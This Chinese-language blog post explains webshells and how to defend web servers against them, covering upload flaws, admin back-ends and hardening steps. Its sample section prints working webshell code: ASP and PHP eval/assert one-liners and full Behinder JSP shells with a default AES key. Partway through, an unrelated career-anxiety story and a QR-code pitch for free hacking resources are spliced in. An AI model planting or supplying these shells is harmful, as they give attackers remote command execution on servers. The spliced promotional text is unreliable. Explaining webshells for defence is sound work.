如何防范webshell入侵

图片

一、前言

在当今的网络社会中,随着互联网技术的快速发展,网络安全问题日益凸显。其中,webshell入侵作为一种常见的攻击手段,给各类网站和网络系统带来了严重的安全威胁。本文将介绍什么是webshell,当前流行的webshell样例,webshell入侵途径以及防范webshell入侵需要做哪些工作,帮助读者更好地了解并防范这一威胁。

二、什么是webshell

Webshell是一种恶意脚本或程序,允许黑客在Web服务器上执行命令,从而对服务器进行控制、窃取数据或发起进一步的攻击。它通常由黑客通过各种手段植入到受害服务器上,一旦成功植入,黑客便可以通过Webshell执行各种操作,例如文件上传、执行系统命令、数据库操作等。

Webshell的名称源自其功能类似于操作系统的命令行shell,但它是通过Web应用程序访问的,而不是直接在操作系统的命令行界面上操作。Webshell可以使用各种编程语言编写,如PHP、ASP、JSP等,因此具有跨平台的特点。

Webshell的目的是为黑客提供对受感染服务器的远程控制和管理权限,使其能够执行恶意操作,包括但不限于窃取敏感信息、篡改网页内容、攻击其他服务器等。由于Webshell具有隐蔽性高、操作方便、攻击路径多样等特点,成为黑客常用的攻击手段之一。

三、webshell样例

以下是一些常见的webshell代码样例。

asp一句话木马程序代码

<%eval request("sb")%>
程序代码
<%execute request("sb")%>
程序代码
<%execute(request("sb"))%>
程序代码
<%execute request("sb")%><%'<% loop <%:%>
程序代码
<%'<% loop <%:%><%execute request("sb")%>
程序代码
<%execute request("sb")'<% loop <%:%>[code]
<script language=vbs runat=server>eval(request("sb"))</script>
程序代码
%><%Eval(Request(chr(35)))%><%
程序代码
<%eval request("sb")%>
程序代码
<%ExecuteGlobal request("sb")%>
程序代码
if Request("sb")<>"" then ExecuteGlobal request("sb") end if
//容错代码
程序代码
<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%>
<%
var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};
lcx.性别((lcx.名字)+'');
%>
//使用冰狐一句话客户端链接

php一句话

程序代码
<?php eval($_POST[sb])?>
程序代码
<?php @eval($_POST[sb])?> //容错代码
程序代码
<?php assert($_POST[sb]);?> //使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>

jsp一句话木马(冰蝎2版本)

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

jsp一句话木马(冰蝎3版本)

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

jsp一句话木马(冰蝎4版本)

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    private byte[] Decrypt(byte[] data) throws Exception
    {
        String k="e45e329feb5d925b";
        javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
        byte[] decodebs;
        Class baseCls ;
                try{
                    baseCls=Class.forName("java.util.Base64");
                    Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                    decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
                }
                catch (Throwable e)
                {
                    baseCls = Class.forName("sun.misc.BASE64Decoder");
                    Object Decoder=baseCls.newInstance();
                    decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

                }
        return c.doFinal(decodebs);

    }
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
        super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] buf = new byte[512];
            int length=request.getInputStream().read(buf);
            while (length>0)
            {
                byte[] data= Arrays.copyOfRange(buf,0,length);
                bos.write(data);
                length=request.getInputStream().read(buf);
            }
        new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>

asp一句话木马(菜刀版)

try
{	Response.Write(Environment.OSVersion+"\r\n");
	Response.Write(Request.ServerVariables["SERVER_SOFTWARE"]+"\r\n");
	Response.Write(Environment.UserName+"\r\n");

	Response.Write(Request.ServerVariables["LOCAL_ADDR"]+"\r\n");
}
catch(x)
{
	Response.Write(x.Message);
}

四、webshell入侵方式有哪些

常见的Webshell入侵方式以下类型:

1.利用站点上传漏洞,上传Webshell

系统前台的上传业务可被利用来上传Webshell脚本,而被上传的目录往往对用户开放可执行权限。在Web中有上传图像、资料文件的地方,上传完后通常会向客户端返回上传文件的完整URL信息;该URL一般是常见的image、upload等目录。

如果Web服务器对网站存取权限或者文件夹目录权限控制不严,就可能被利用来实现Webshell攻击。攻击者可以利用上传功能上传一个脚本文件,然后通过URL访问并执行这个脚本;然后攻击者就可以上传Webshell到网站的任意目录中,从而拿到网站的管理员控制权限。

2.利用站点管理后台上传webshell

黑客获取管理员的后台密码,登录到后台系统,利用后台的管理工具向配置文件写入Webshell木马;或者私自添加上传类型,允许上传类似ASP、PHP格式的脚本程序文件。

3.利用数据库备份与恢复功能生成Webshell

例如,备份时把备份文件的后缀改成 .asp;如果后台有MySQL数据查询功能,黑客可以执行select…in To outfile查询输出PHP文件,并把代码插入到MySQL,从而生成Webshell的木马。

4.系统中其他站点被攻击,或者服务器上还搭载了FTP服务器。

FTP服务器被攻击时被注入了Webshell的木马,导致网站系统被感染。

5.黑客直接攻击Web服务器系统漏洞,实现入侵。

Web服务器在系统层面也可能存在漏洞,如果黑客利用其漏洞攻击服务器系统;在获取其权限后,黑客就可以在Web服务器目录里上传Webshell文件。

综上,Webshell能够入侵到系统,一般是由于以下原因:

  • 通过Web站点漏洞上传Webshell。

Webshell能够被注入,在很大程度是由于服务器或中间件的安全漏洞。例如,以下常见漏洞都可能被利用来注入Webshell:旧版本的IIS目录解析漏洞、文件名解析漏洞、应用后台暴露和弱口令、Fast-CGI解析漏洞、Apache文件解析漏洞、截断上传、后台数据库备份功能上传、数据库语句上传漏洞等。

  • 站点部署时混入了Webshell文件。

大量的用户在使用从网上下载的第三方开源代码时,其代码本身已经混入了Webshell的恶意脚本,造成二次入侵或多次入侵。所以在部署前期,如果不是新开发的代码,都需要对代码进行恶意文件扫描查杀,防止上线后被入侵。

五、防范webshell入侵需要做哪些工作
  • 配置必要的防火墙并开启防火墙策略,防止暴露不必要的服务,为黑客提供利用条件。
  • 对服务器进行安全加固。例如,关闭远程桌面功能、定期更换密码、禁止使用最高权限用户运行程序、使用HTTPS加密协议。定期更新系统和软件补丁,以修复已知的漏洞,降低系统被攻击的风险。
  • 限制文件上传的类型和大小,对用户上传的文件进行严格的过滤和检测,防止恶意文件的上传。
  • 加强权限管理,对敏感目录进行权限设置,限制上传目录的脚本执行权限,不允许配置执行权限等。
  • 限制特定目录解析,如,对特定目录(images、upload、js、css、templetes等非存放jsp的目录)禁止解析jsp、jspx、asp、php等文件,例如:可以用Nginx配置进行拦截,返回403状态码。
  • 安装可信赖的安全防护软件,对服务器进行实时监控和防护,及时发现和清除webshell,如安装Webshell检测工具或防病毒软件,发现检测结果后,立即隔离查杀,并排查漏洞。
  • 排查程序存在的漏洞,并及时修补漏洞。您可以通过应急响应服务人工界入,协助排查漏洞及入侵原因,同时可以选用商业WAF(Web应用防火墙)或IPS(入侵防御系统)等进行防御,降低被入侵机率。
  • 在服务器所在网络中部署全流量分析系统,及时发现入侵痕迹从而进行迅速应急响应。

坐在工位上,我脑海里不断浮现老张泪流满面的背影和自己倒计时的声音。是的,时代像一台冰冷的机器,无情地筛掉我们这些“沙子”。但那一刻,一道念头劈开了我的迷茫:

程序员的终点,从来不是因为年龄而被淘汰,而是因为我们没看清方向、忽略了核心竞争力的提升。

真正的终点不在年龄本身,而在于不断打磨能扛起重担的本领

在程序员这个行业放眼望去,网络安全恰恰就是那个“越老越吃香”的行业。

它不惧岁月,反倒因经验积累而价值倍增:资深工程师的洞悉力能应对复杂的黑客攻击,行业缺口巨大,国家预计2027年缺口将达327万,机会遍地。

转行也好,继续深耕也罢,只要肯学肯钻,三四十岁的“高龄”反而成了金字招牌,轻松拿下一份不菲的收入。

如果你是也准备转行学习网络安全(黑客)或者正在学习,这些我购买的资源可以分享给你们,互勉:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

在这里插入图片描述

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

img

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

在这里插入图片描述

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

img

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐